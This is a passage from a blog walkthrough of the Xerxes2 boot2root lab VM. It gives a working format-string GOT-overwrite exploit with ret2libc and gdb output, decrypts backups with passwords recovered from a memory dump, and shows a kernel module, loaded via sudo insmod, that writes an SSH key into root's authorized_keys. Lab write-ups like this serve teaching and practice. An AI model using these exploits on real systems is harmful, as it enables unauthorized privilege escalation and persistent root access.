\u0026#34;\\n\u0026#34;)])\u0026#39;)#\u0026#34; AAAA.41414141 Yup! Parameter 16 gives us what we need :)\nGreat. Were making progress\u0026hellip; I think.\nFor the sake of time, I am not going to document the 412643932471236 attempts that were made at getting this to work. Instead, here is the path that did eventually work. This is the part of Xerxes2 that undoubtedly took me the longest to get right.\n/opt/bf - part3 Now that we know where we can start manipulating pointers, we need to find out what we should manipulate. There are many options here, however your decision on which path to take is influenced by many vectors.\nFirst of all, /opt/bf was compiled with the NX bit:\ndelacroix@xerxes2:~$ readelf -l /opt/bf | grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 Secondly, ASLR is enabled, and can be seen when printing the shared library dependencies. The memory positions are different for every check:\ndelacroix@xerxes2:~$ ldd /opt/bf linux-gate.so.1 =\u0026gt; (0xb7734000) libc.so.6 =\u0026gt; /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb75c9000) /lib/ld-linux.so.2 (0xb7735000) delacroix@xerxes2:~$ ldd /opt/bf linux-gate.so.1 =\u0026gt; (0xb779b000) libc.so.6 =\u0026gt; /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7630000) /lib/ld-linux.so.2 (0xb779c000) delacroix@xerxes2:~$ ldd /opt/bf linux-gate.so.1 =\u0026gt; (0xb77c0000) libc.so.6 =\u0026gt; /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7655000) /lib/ld-linux.so.2 (0xb77c1000) delacroix@xerxes2:~$ Thankfully, since this is a x86 (32bit) OS, its quite trivial to disable this (sort of) with ulimit -s unlimited\ndelacroix@xerxes2:~$ ulimit -s unlimited delacroix@xerxes2:~$ ldd /opt/bf linux-gate.so.1 =\u0026gt; (0x4001e000) libc.so.6 =\u0026gt; /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0x40026000) /lib/ld-linux.so.2 (0x40000000) delacroix@xerxes2:~$ ldd /opt/bf linux-gate.so.1 =\u0026gt; (0x4001e000) libc.so.6 =\u0026gt; /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0x40026000) /lib/ld-linux.so.2 (0x40000000) delacroix@xerxes2:~$ ldd /opt/bf linux-gate.so.1 =\u0026gt; (0x4001e000) libc.so.6 =\u0026gt; /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0x40026000) /lib/ld-linux.so.2 (0x40000000) delacroix@xerxes2:~$ The memory locations are now static :) With that done, lets have a look at what pointer we would like to override, and then where we should be overwriting it to. We first take a look at the Global Offset Table:\ndelacroix@xerxes2:~$ objdump -R /opt/bf /opt/bf: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049a38 R_386_GLOB_DAT __gmon_start__ 08049a48 R_386_JUMP_SLOT printf 08049a4c R_386_JUMP_SLOT getchar 08049a50 R_386_JUMP_SLOT __gmon_start__ 08049a54 R_386_JUMP_SLOT exit 08049a58 R_386_JUMP_SLOT __libc_start_main 08049a5c R_386_JUMP_SLOT memset 08049a60 R_386_JUMP_SLOT putchar delacroix@xerxes2:~$ Here, we will choose to override the printf functions pointer. This is at 0x08049a48. So, this address will have the location of our evil code. But now, how do we know where the evil code is and what is it? Again, this was another interesting thing that had me researching for a very long time. In the end, it came to light that there is such a thing as ret2libc. The basic idea here is that we override the pointer for printf to system with a argument. I highly recommend you read this pdf for a proper explanation on what exactly this means.\nThe only thing that is left to determine is where system is in memory. Luckily this is also pretty easy to find out. Fire up gdb, run the binary and print system to get the address:\ndelacroix@xerxes2:~$ gdb -q /opt/bf Reading symbols from /opt/bf...(no debugging symbols found)...done. (gdb) run Starting program: /opt/bf usage: /opt/bf [program] [Inferior 1 (process 11342) exited with code 0377] (gdb) print system $1 = {\u0026lt;text variable, no debug info\u0026gt;} 0x40062000 \u0026lt;system\u0026gt; (gdb) Soooo, 0x40062000. We have the point in memory where system() lives, and we know where the program is going to go to lookup the printf function. All that is left now is to exploit the format string vulnerability, override the location of printf with system, and provide a new argument for the now fooled printf to run. A new argument can be given by simply providing another # (remember we have the source so that was easy to figure out).\n/opt/bf - part4 We have all the information we need, lets get to work.\nWe fire up gdb, and instead of printing the location of AAAA, we provide a memory address, with a %n format string so that we can write the amount of bites needed to override the pointer location.\nTo aid in getting the exact amount of padding right, we will set a breakpoint just before the application finished so that we can examine the pointer 0x08049a48 from the GOT:\ndelacroix@xerxes2:~$ gdb -q /opt/bf Reading symbols from /opt/bf...(no debugging symbols found)...done. (gdb) disass main Dump of assembler code for function main: 0x08048684 \u0026lt;+0\u0026gt;: push %ebp 0x08048685 \u0026lt;+1\u0026gt;: mov %esp,%ebp 0x08048687 \u0026lt;+3\u0026gt;: and $0xfffffff0,%esp 0x0804868a \u0026lt;+6\u0026gt;: sub $0x7540,%esp 0x08048690 \u0026lt;+12\u0026gt;: cmpl $0x1,0x8(%ebp) 0x08048694 \u0026lt;+16\u0026gt;: jg 0x80486b7 \u0026lt;main+51\u0026gt; 0x08048696 \u0026lt;+18\u0026gt;: mov 0xc(%ebp),%eax 0x08048699 \u0026lt;+21\u0026gt;: mov (%eax),%eax 0x0804869b \u0026lt;+23\u0026gt;: mov %eax,0x4(%esp) 0x0804869f \u0026lt;+27\u0026gt;: movl $0x804887c,(%esp) 0x080486a6 \u0026lt;+34\u0026gt;: call 0x8048390 \u0026lt;printf@plt\u0026gt; 0x080486ab \u0026lt;+39\u0026gt;: movl $0xffffffff,(%esp) 0x080486b2 \u0026lt;+46\u0026gt;: call 0x80483c0 \u0026lt;exit@plt\u0026gt; 0x080486b7 \u0026lt;+51\u0026gt;: movl $0x7530,0x8(%esp) 0x080486bf \u0026lt;+59\u0026gt;: movl $0x0,0x4(%esp) 0x080486c7 \u0026lt;+67\u0026gt;: lea 0x10(%esp),%eax 0x080486cb \u0026lt;+71\u0026gt;: mov %eax,(%esp) 0x080486ce \u0026lt;+74\u0026gt;: call 0x80483e0 \u0026lt;memset@plt\u0026gt; 0x080486d3 \u0026lt;+79\u0026gt;: mov 0xc(%ebp),%eax 0x080486d6 \u0026lt;+82\u0026gt;: add $0x4,%eax 0x080486d9 \u0026lt;+85\u0026gt;: mov (%eax),%eax 0x080486db \u0026lt;+87\u0026gt;: lea 0x10(%esp),%edx 0x080486df \u0026lt;+91\u0026gt;: mov %edx,0x4(%esp) 0x080486e3 \u0026lt;+95\u0026gt;: mov %eax,(%esp) 0x080486e6 \u0026lt;+98\u0026gt;: call 0x80484ec \u0026lt;bf\u0026gt; 0x080486eb \u0026lt;+103\u0026gt;: movl $0x0,(%esp) # \u0026lt;-- we will break here 0x080486f2 \u0026lt;+110\u0026gt;: call 0x80483c0 \u0026lt;exit@plt\u0026gt; End of assembler dump. (gdb) break *0x080486eb Breakpoint 1 at 0x80486eb (gdb) run \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;\\x48\\x9a\\x04\\x08\u0026#34; + \u0026#34;%16$n\u0026#34;)])\u0026#39;)#\u0026#34; Starting program: /opt/bf \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;\\x48\\x9a\\x04\\x08\u0026#34; + \u0026#34;%16$n\u0026#34;)])\u0026#39;)#\u0026#34; Breakpoint 1, 0x080486eb in main () (gdb) x/x 0x08049a48 0x8049a48 \u0026lt;printf@got.plt\u0026gt;: 0x00000004 (gdb) Oooooooooooh. So basically 0x8049a48 now says printf lives at 0x00000004. Not entirely true though, but we will fix this. Fixing this is quite easy too. Using some python again, we can calculate the amount of bytes we must write to get the memory location we want. We know we want to write to system, that lives in memory at 0x40062000. We will split the calculation up into 2 parts, and first write the 0x2000, and then the 0x4006. We can see that we have written 4 bytes already, so to calculate the first part, we will simply subtract 4 from 0x2000 and pad parameter 16 with the amount.\n(gdb) shell echo $(python -c \u0026#39;print 0x2000-0x4\u0026#39;) 8188 # output is a decimal value We now pad the format string as required, re-run the program in gdb, and inspect 0x08049a48 from the GOT\n(gdb) run \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;\\x48\\x9a\\x04\\x08\u0026#34; + \u0026#34;%8188u%16$n\u0026#34;)])\u0026#39;)#\u0026#34; The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/bf \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;\\x48\\x9a\\x04\\x08\u0026#34; + \u0026#34;%8188u%16$n\u0026#34;)])\u0026#39;)#\u0026#34; H� Breakpoint 1, 0x080486eb in main () (gdb) x/x 0x08049a48 0x8049a48 \u0026lt;printf@got.plt\u0026gt;: 0x00002000 (gdb) You will see some whitespace output as a result of the %8188u, but inspecting the pointer from GOT reveals that we have the lower part of the memory now set correctly (0x00002000)! :) The upper part of the address is calculated in a similar way, however, we are going to be moving on 2 places in memory to write this value and provide another format string. This means that our lower part of the memory will change as a result, and we will need to compensate for that when we calculate the upper part.\n(gdb) run \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;\\x48\\x9a\\x04\\x08\u0026#34; + \u0026#34;\\x4a\\x9a\\x04\\x08\u0026#34; + \u0026#34;%8188u%16$n\u0026#34; + \u0026#34;%17$n\u0026#34;)])\u0026#39;)#\u0026#34; The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/bf \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;\\x48\\x9a\\x04\\x08\u0026#34; + \u0026#34;\\x4a\\x9a\\x04\\x08\u0026#34; + \u0026#34;%8188u%16$n\u0026#34; + \u0026#34;%17$n\u0026#34;)])\u0026#39;)#\u0026#34; H�J� 3 Breakpoint 1, 0x080486eb in main () (gdb) x/x 0x08049a48 0x8049a48 \u0026lt;printf@got.plt\u0026gt;: 0x20042004 (gdb) As you can see, we have moved up 4 bytes on the lower part of the address, so we can simply take 4 off 8188 to fix that. To determine the upper part of the address though, we will do another hex calculation and remove the amount that we have from the amount that we want:\n(gdb) shell echo $(python -c \u0026#39;print 0x4006-0x2000\u0026#39;) 8198 # output is a decimal value (gdb) run \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;\\x48\\x9a\\x04\\x08\u0026#34; + \u0026#34;\\x4a\\x9a\\x04\\x08\u0026#34; + \u0026#34;%8184u%16$n\u0026#34; + \u0026#34;%8198u%17$n\u0026#34;)])\u0026#39;)#\u0026#34; The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/bf \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;\\x48\\x9a\\x04\\x08\u0026#34; + \u0026#34;\\x4a\\x9a\\x04\\x08\u0026#34; + \u0026#34;%8184u%16$n\u0026#34; + \u0026#34;%8198u%17$n\u0026#34;)])\u0026#39;)#\u0026#34; H�J� Breakpoint 1, 0x080486eb in main () (gdb) x/x 0x08049a48 0x8049a48 \u0026lt;printf@got.plt\u0026gt;: 0x40062000 (gdb) w00t. We have rewritten the GOT for printf to the location of the libc system call using the format string vulnerability. Phew.\n/opt/bf - part5 Now, all that is left is to get the printf to rerun (using the #) with a payload such as /bin/sh. We will append the /bin/sh to the end and just add another # to call printf (which is now overridden):\ndelacroix@xerxes2:~$ /opt/bf \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;\\x48\\x9a\\x04\\x08\u0026#34; + \u0026#34;\\x4a\\x9a\\x04\\x08\u0026#34; + \u0026#34;%8184u%16$n\u0026#34; + \u0026#34;%8198u%17$n\u0026#34; + \u0026#34;;/bin/sh\u0026#34;)])\u0026#39;)##\u0026#34; H�J� d $ id uid=1002(delacroix) gid=1002(delacroix) euid=1001(polito) egid=1001(polito) groups=1001(polito),1002(delacroix) $ Oly. Crap. That. Was. Awesome. :D :D\nWe have just exploited a format string vulnerability on a binary that has the NX bit set, encoded with brainfk using ret2libc.\nbecoming korenchkin We just got a shell with a euid for polito. To make life easier, I copied the public key I generated earlier for the first shell into polito\u0026rsquo;s home, and SSH\u0026rsquo;d in as that user.\nAt first glance, it appeared as if we have a gpg encrypted dump and a pdf. There was also a cronjob to start a netcat server piping a text file out via tcp/4444 (remember the mp3 form earlier? :D)\npolito@xerxes2:~$ ls -lh total 43M -rw-r--r-- 1 polito polito 140K Jul 16 10:57 audio.txt -rw-r--r-- 1 polito polito 43M Jul 16 12:17 dump.gpg -rw-r--r-- 1 polito polito 27K Jul 16 12:19 polito.pdf polito@xerxes2:~$ crontab -l [...] @reboot while true ; do nc -l -p 4444 \u0026lt; /home/polito/audio.txt ; done polito@xerxes2:~$ There was not much I could do with the dump.gpg yet, so I decided to open up the pdf in a pdf viewer:\n  That is all the PDF had. The QR code resolves to \u0026ldquo;XERXES is watching\u0026hellip;\u0026rdquo;. I tried to highlight all of the text in the PDF to maybe reveal a piece of text that was white in color, but nothing apparent came out. The next step was to run the PDF through the file utility.\npolito@xerxes2:~$ file -k polito.pdf polito.pdf: x86 boot sector, code offset 0xe0 DBase 3 data file with memo(s) (1146103071 records) \u0026hellip;x86 boot sector\u0026hellip; wait\u0026hellip; WHAT?. Ok, so that is interesting. Opening the PDF in a HEX editor revealed 2 PDF headers:\n00000000 83 E0 FF EB 1F 25 50 44 46 2D 31 2E 35 0A 39 39 .....%PDF-1.5.99 00000010 39 20 30 20 6F 62 6A 0A 3C 3C 3E 3E 0A 73 74 72 9 0 obj.\u0026lt;\u0026lt;\u0026gt;\u0026gt;.str 00000020 65 61 6D 0A 68 E0 08 17 BC 00 10 68 C0 07 1F EB eam.h......h.... 00000030 21 59 81 F9 4D 5A 74 0C B4 0E 86 C1 CD 10 86 C5 !Y..MZt......... 00000040 CD 10 EB ED BE 55 00 AC 75 02 EB FE B4 0E CD 10 .....U..u....... 00000050 EB F5 EB 72 E9 2D 2D 57 41 52 4E 49 4E 47 2D 2D ...r.--WARNING-- 00000060 0A 20 20 20 55 6E 61 75 74 68 6F 72 69 7A 65 64 . Unauthorized 00000070 20 66 69 6C 65 20 61 63 63 65 73 73 20 77 69 6C file access wil 00000080 6C 20 62 65 20 72 65 70 6F 72 74 65 64 2E 0A 20 l be reported.. 00000090 20 20 20 20 58 45 52 58 45 53 20 77 69 73 68 65 XERXES wishe 000000A0 73 20 79 6F 75 0A 20 20 20 20 20 20 20 20 20 20 s you. 000000B0 61 20 6D 6F 73 74 20 70 72 6F 64 75 63 74 69 76 a most productiv 000000C0 65 20 64 61 79 00 68 6F 77 68 59 58 68 0D 0A 68 e day.howhYXh..h 000000D0 37 69 68 68 7A 68 4F 77 68 34 35 68 0A 40 68 67 7ihhzhOwh45h.@hg 000000E0 49 68 20 2C 68 23 6F 68 4D 5A 68 0A 0A 68 4E 6C Ih ,h#ohMZh..hNl 000000F0 68 61 57 68 46 75 68 61 6D 68 0A 20 68 3A 20 68 haWhFuhamh. h: h 00000100 69 73 68 64 20 68 6F 72 68 73 77 68 61 73 68 20 ishd horhswhash 00000110 70 68 68 65 68 0A 54 E9 17 FF 00 00 00 00 00 00 phheh.T......... 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA ..............U. 00000200 25 50 44 46 2D 31 2E 35 0A 25 D0 D4 C5 D8 0A 34 %PDF-1.5.%.....4 Notice the 2 %PDF-1.5. Assuming this really was a MBR, I decided to strip the first 512 bytes and put that in a new file. Then, the remainder of the bytes to a second file, and test by attempting to open both in a PDF viewer again.\nroot@kali:~# head -c 512 polito.pdf \u0026gt; first root@kali:~# file -k first first: x86 boot sector, code offset 0xe0 DBase 3 data file with memo(s) (1146103071 records) root@kali:~# tail -c +512 polito.pdf \u0026gt; second root@kali:~# file second second: Dyalog APL root@kali:~# Opening first in a PDF viewer gave a blank PDF, and second gave the PDF we saw originally with polito.pdf. first was still seen as as x86 boot sector file. I searched furiously for way to analyze bootsector code, learned about the structure etc. Eventually it was time to take a break and come back with a fresh look at this.\nI came back with some new ideas. One of them being that I should quickly create a VM, attach first as a disk and try run it and see what the output would be. VirtualBox did not like the file format of first :( Next I resorted to using qemu. And success!\n  Running $ qemu first, booted a vm and ran the bootsector code, revealing a password of amFuaWNl. The next part was pretty easy. I assumed this was the password word for the potentially GPG encrypted dump file:\npolito@xerxes2:~$ gpg -d dump.gpg \u0026gt; decrypted_dump gpg: CAST5 encrypted data gpg: encrypted with 1 passphrase gpg: WARNING: message was not integrity protected polito@xerxes2:~$ file decrypted_dump decrypted_dump: data polito@xerxes2:~$ ls -lh decrypted_dump -rw-r--r-- 1 polito polito 126M Aug 10 02:12 decrypted_dump So we successfully decrypted dump.gpg it seems resulting in a 126M file, however at first glance it appears to just be junk. I paged and paged and paged and paged and paged through less until I saw cleartext that looked like kernel boot messages. The first thought that came to mind after seeing this was \u0026ldquo;Could this be some sort of memory dump?\u0026rdquo;.\nAs the kernel messages were interesting, I decided to put the decrypted dump through strings. Eventually after going through even more pages, it seemed like there were even some command history in the dump. Ok, well then I believe its time to look for things that could relate to that file in /opt/backup:\npolito@xerxes2:~$ grep $(ls /opt/backup/) decrypted_strings korenchkin.tar.enc openssl enc -e -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar -out /opt/backup/korenchkin.tar.enc openssl enc -e -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar -out /opt/backup/korenchkin.tar.enc openssl enc -e -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar -out /opt/backup/korenchkin.tar.enc polito@xerxes2:~$ Heh, ok. Easy enough. korenchkin.tar.enc was encrypted using openssl. We can simply decrypt this with the -d flag. From the dump we were able to get the password used too:\npolito@xerxes2:~$ openssl enc -d -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar.enc -out ~/korenchkin.tar polito@xerxes2:~$ file korenchkin.tar korenchkin.tar: POSIX tar archive (GNU) polito@xerxes2:~$ tar xvf korenchkin.tar .ssh/id_rsa .ssh/id_rsa.pub polito@xerxes2:~$ Extracting korenchkin.tar revealed a SSH key pair, so to become korenchkin I copied the SSH key to my Kali VM and SSH in as korenchkin:\nroot@kali:~# ssh -i korenchkin.key korenchkin@192.168.56.102 Welcome to xerxes2. XERXES wishes you a pleasant stay. ____ ___ ____ ___ __ ____ ___ ____ ____ ____ `MM( )P\u0026#39; 6MMMMb `MM 6MM `MM( )P\u0026#39; 6MMMMb 6MMMMb\\  6MMMMb `MM` ,P 6M\u0026#39; `Mb MM69 \u0026#34; `MM` ,P 6M\u0026#39; `Mb MM\u0026#39; ` MM\u0026#39; `Mb `MM,P MM MM MM\u0026#39; `MM,P MM MM YM. ,MM `MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM\u0026#39; d`MM. MM MM d`MM. MM `Mb ,M\u0026#39; d\u0026#39; `MM. YM d9 MM d\u0026#39; `MM. YM d9 L ,MM ,M\u0026#39; _d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM You have new mail. korenchkin@xerxes2:~$ You have new mail.\nbecoming root Again, enumeration is key. As korenchkin, you will see that you may run.\nkorenchkin@xerxes2:~$ sudo -l Matching Defaults entries for korenchkin on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User korenchkin may run the following commands on this host: (root) NOPASSWD: /sbin/insmod, (root) /sbin/rmmod So we may run insmod as root. Immediately this hints towards the fact that we will need to write a custom kernel module and maybe spawn a shell? And so, we board another educational school bus ride towards kernel module land.\nI confirmed that the kernel-headers were installed for the current kernel. Googling around got me to a sample \u0026ldquo;Hello World!\u0026rdquo; kernel module. This together with a sample Makefile was working fine. The sources for the files initially tested were:\n#include \u0026lt;linux/module.h\u0026gt; /* Needed by all modules */#include \u0026lt;linux/kernel.h\u0026gt; /* Needed for KERN_INFO */#include \u0026lt;linux/init.h\u0026gt; /* Needed for the macros */ static int __init hello_start(void) { printk(KERN_INFO \u0026#34;Loading hello module...\\n\u0026#34;); return 0; } static void __exit hello_end(void) { printk(KERN_INFO \u0026#34;Goodbye Mr.\\n\u0026#34;); } module_init(hello_start); module_exit(hello_end); obj-m += hello.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean I took hello.c and the Makefile, put them into a directory, built the module with make, and loaded it. Once the module loaded I checked the kernel messages via dmesg to confirm it working:\nkorenchkin@xerxes2:~/kern$ make make -C /lib/modules/3.2.0-4-686-pae/build M=/home/korenchkin/kern modules make[1]: Entering directory `/usr/src/linux-headers-3.2.0-4-686-pae\u0026#39; CC [M] /home/korenchkin/kern/hello.o Building modules, stage 2. MODPOST 1 modules CC /home/korenchkin/kern/hello.mod.o LD [M] /home/korenchkin/kern/hello.ko make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-4-686-pae\u0026#39; korenchkin@xerxes2:~/kern$ sudo insmod hello.ko korenchkin@xerxes2:~/kern$ dmesg | tail [...] [68192.983366] hello: module license \u0026#39;unspecified\u0026#39; taints kernel. [68192.983369] Disabling lock debugging due to kernel taint [68192.983637] Loading hello module... korenchkin@xerxes2:~/kern$ Alrighty, that was, easy! However, this is not really useful. I want command execution! So, what did I do? #include \u0026lt;stdio.h\u0026gt;, and system() some commands to run stuff, getting me a /tmp/getroot prepared.\ninsert loud crash and burn sound here\nTurns out, kernel development is pretty anti command execution. Compiling modules that have stuff like stdio.h included will fail with headers not found type errors. One can hack the Makefile to include headers from /usr/include, but it just ends up being a mess. However, there is a handy little function in kmod.h called call_usermodehelper(). From the kernel docs, call_usermodehelper() will prepare and start a usermode application. That sounds pretty handy in our case :)\nSo, time to rewrite hello.c to be useful! Puzzling the pieces together I found on the internet, this amongst other pieces of information helped get the ball rolling.\n#include \u0026lt;linux/module.h\u0026gt; /* Needed by all modules */ #include \u0026lt;linux/kernel.h\u0026gt; /* Needed for KERN_INFO */ #include \u0026lt;linux/init.h\u0026gt; /* Needed for the macros */ /* For our shell ^_^ */ #include\u0026lt;linux/kmod.h\u0026gt; int get_root (void) { char * envp[] = { \u0026#34;HOME=/\u0026#34;, NULL }; char *argv[] = { \u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;/bin/cat /tmp/pubkey \u0026gt;\u0026gt; /root/.ssh/authorized_keys\u0026#34;, NULL}; printk(KERN_INFO \u0026#34;Call Usermodehelper...\\n\u0026#34;); call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); printk(KERN_INFO \u0026#34;Done usermodehelper...\\n\u0026#34;); return 0; } static int __init hello_start(void) { printk(KERN_INFO \u0026#34;Loading rooted module...\\n\u0026#34;); return get_root(); return 0; } static void __exit hello_end(void) { printk(KERN_INFO \u0026#34;Goodbye Mr.\\n\u0026#34;); } module_init(hello_start); module_exit(hello_end); As can be seen in the code above, I added a function get_root(), that will append whatever is in /tmp/pubkey to /root/.ssh/authorized_keys using call_usermodehelper. /tmp/pubkey contained the public key of the keypair I generated at the beginning of starting Xerxes2. I modified Makefile to have obj-m += rooted.o this time, make\u0026rsquo;d the source and ran the insmod for the newly build rooted.ko. Then, I inspected the kernel messages again, and attempted to login as root:\nkorenchkin@xerxes2:~/kern$ vi rooted.c korenchkin@xerxes2:~/kern$ vi Makefile korenchkin@xerxes2:~/kern$ make make -C /lib/modules/3.2.0-4-686-pae/build M=/home/korenchkin/kern modules make[1]: Entering directory `/usr/src/linux-headers-3.2.0-4-686-pae\u0026#39; CC [M] /home/korenchkin/kern/rooted.o Building modules, stage 2. MODPOST 1 modules CC /home/korenchkin/kern/rooted.mod.o LD [M] /home/korenchkin/kern/rooted.ko make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-4-686-pae\u0026#39; korenchkin@xerxes2:~/kern$ echo \u0026#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6sCFrz036WAchGk66yROuY+hePiULr49D1E97wuK0mK4Uw0J+4u1ngDVw+h8xwtpxPZkOWcn7s86OkXcEkWzGoduC1Y+YMP0XnQFG4hdeX4yNypaAsLKZss6tTHe5kHzbTdiOUthSmiJHwyl39TXibSBILTnMOLaxzLM17xUCfJviRm2mOAq6uELYPPf8thzqVeBoIsdXfjh8QeLMRHloyjGe1ZeY0m4pqwg9d2azaBAirjBMv0cyk+1w51SNR61EQ6SRtc6BE7ayc6C+MZW4TkP/lwOQLH7CXrEoyL3bDskD6c9563jRSLtiVfzjfkjoyUDiTCWv/ThirZMqSot/\u0026#34; \u0026gt; /tmp/pubkey korenchkin@xerxes2:~/kern$ sudo insmod rooted.ko korenchkin@xerxes2:~/kern$ dmesg | tail [ 14.512040] eth0: no IPv6 routers present [ 290.023022] Clocksource tsc unstable (delta = 4686567555 ns) [ 290.025022] Switching to clocksource acpi_pm [57198.109946] bf[25367]: segfault at 40062000 ip 40062000 sp bfc6282c error 14 [68192.983366] hello: module license \u0026#39;unspecified\u0026#39; taints kernel. [68192.983369] Disabling lock debugging due to kernel taint [68192.983637] Loading hello module... [74155.086393] Loading rooted module... [74155.086397] Call Usermodehelper... [74155.086449] Done usermodehelper... korenchkin@xerxes2:~/kern$ logout Connection to 192.168.56.102 closed. root@kali:~/Desktop/xeres2# ssh root@192.168.56.102 -i delacroix Welcome to xerxes2. XERXES wishes you a pleasant stay. ____ ___ ____ ___ __ ____ ___ ____ ____ ____ `MM( )P\u0026#39; 6MMMMb `MM 6MM `MM( )P\u0026#39; 6MMMMb 6MMMMb\\  6MMMMb `MM` ,P 6M\u0026#39; `Mb MM69 \u0026#34; `MM` ,P 6M\u0026#39; `Mb MM\u0026#39; ` MM\u0026#39; `Mb `MM,P MM MM MM\u0026#39; `MM,P MM MM YM. ,MM `MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM\u0026#39; d`MM. MM MM d`MM. MM `Mb ,M\u0026#39; d\u0026#39; `MM. YM d9 MM d\u0026#39; `MM. YM d9 L ,MM ,M\u0026#39; _d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM root@xerxes2:~# id uid=0(root) gid=0(root) groups=0(root) root@xerxes2:~# cat /root/flag.txt ____ ___ ____ ___ __ ____ ___ ____ ____ ____ `MM( )P\u0026#39; 6MMMMb `MM 6MM `MM( )P\u0026#39; 6MMMMb 6MMMMb\\  6MMMMb `MM` ,P 6M\u0026#39; `Mb MM69 \u0026#34; `MM` ,P 6M\u0026#39; `Mb MM\u0026#39; ` MM\u0026#39; `Mb `MM,P MM MM MM\u0026#39; `MM,P MM MM YM. ,MM `MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM\u0026#39; d`MM. MM MM d`MM. MM `Mb ,M\u0026#39; d\u0026#39; `MM. YM d9 MM d\u0026#39; `MM. YM d9 L ,MM ,M\u0026#39; _d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM congratulations on beating xerxes2! I hope you enjoyed it as much as I did making xerxes2. xerxes1 has been described as \u0026#39;weird\u0026#39; and \u0026#39;left-field\u0026#39; and I hope that this one fits that description too :) Many thanks to @TheColonial \u0026amp; @rasta_mouse for testing! Ping me on #vulnhub for thoughts and comments! @barrebas, July 2014 root@xerxes2:~# conclusion Xerxes2 really challenged me into learning a ton of new things so this Vulnerable VM was a total win for me! Thanks @barrebas and @VulnHub for another great learning opportunity.\nNow, the next step? OSCP :)\n","permalink":"https://leonjza.github.io/blog/2014/08/09/beating-xerxes2/","summary":"\u003ch2 id=\"foreword\"\u003eforeword\u003c/h2\u003e\n\u003cp\u003eXerxes2 is a successor in a boot2root series by \u003ca href=\"https://twitter.com/barrebas\"\u003e@barrebas\u003c/a\u003e hosted by \u003ca href=\"https://twitter.com/vulnhub\"\u003e@VulnHub\u003c/a\u003e. If you haven\u0026rsquo;t done it yet, close this article \u003cem\u003enow\u003c/em\u003e and go learn by doing it!\u003c/p\u003e\n\u003cp\u003eXerxes2, like most other boot2root type CTF\u0026rsquo;s, has once again forced me to learn a whole lot more than I thought possible. In total it took me about 3 or 4 days on and off to complete. The goal was as usual, read 